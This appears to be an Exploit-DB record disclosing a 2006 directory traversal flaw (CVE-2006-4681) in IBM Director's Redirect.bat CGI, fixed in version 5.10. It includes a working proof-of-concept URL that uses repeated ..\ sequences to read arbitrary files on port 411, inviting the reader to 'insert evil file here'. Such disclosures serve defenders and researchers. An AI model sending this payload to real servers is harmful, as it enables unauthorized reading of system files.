IBM Director < 5.10 Redirect.bat Directory Transversal Vulnerability

ID EDB-ID:2320
Type exploitdb
Reporter Daniel Clemens
Modified 2006-09-07T00:00:00


IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability. CVE-2006-4681. Remote exploit for windows platform

                                            There is a vulnerability within the Redirect.bat file on a ibm director
cgi which allows a directory transversal to take place which in turn
exposes most files on the system to be read without authorization.

http://ip.of.system:411/cgi-bin/Redirect.bat?file=%7C..\..\..\..\..\..\....\..\program%20files\ibm\director\version.key (or insert evil file here)

This was fixed in the 5.10 version of ibm director.

-Daniel Clemens

# [2006-09-07]